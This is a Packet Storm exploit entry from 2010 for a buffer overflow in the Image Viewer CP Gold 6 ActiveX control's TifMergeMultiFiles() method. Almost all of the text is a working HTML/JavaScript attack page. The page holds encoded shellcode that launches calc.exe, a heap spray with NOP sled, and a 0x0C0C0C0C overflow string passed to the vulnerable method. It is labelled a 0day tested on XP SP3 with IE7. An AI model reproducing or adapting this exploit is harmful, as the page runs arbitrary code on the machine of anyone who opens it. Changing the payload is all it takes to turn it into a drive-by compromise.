Image Viewer CP Gold 6 Buffer Overflow

2010-12-03T00:00:00
ID PACKETSTORM:96344
Type packetstorm
Reporter Dr_IDE
Modified 2010-12-03T00:00:00

Description

                                        
                                            `<html>  
<!--  
Exploit Title: Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit  
Found By: Dr_IDE  
Download: http://www.viscom.com  
Greets: bz1p, bz1p@bshellz.net for finding the app.  
Tested on: XP SP3 IE7  
CVE: (0day)  
-->  
<object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">  
<param NAME="LPKPath" VALUE="imageviewer.lpk"></object>  
<object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>  
<script>  
//payload is windows/exec cmd=calc.exe  
shellcode = unescape(  
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+  
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+  
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+  
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+  
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+  
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+  
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+  
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');  
  
nops=unescape('%u9090%u9090');  
headersize =20;  
slackspace= headersize + shellcode.length;  
  
while(nops.length < slackspace) nops+= nops;  
fillblock= nops.substring(0, slackspace);  
block= nops.substring(0, nops.length- slackspace);  
  
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;  
memory=new Array();  
  
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;  
ret='';  
for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");  
  
arg2=String("abcd");  
  
target.TIFMergeMultiFiles(arg2, arg2, ret);  
</script>  
</html>  
  
`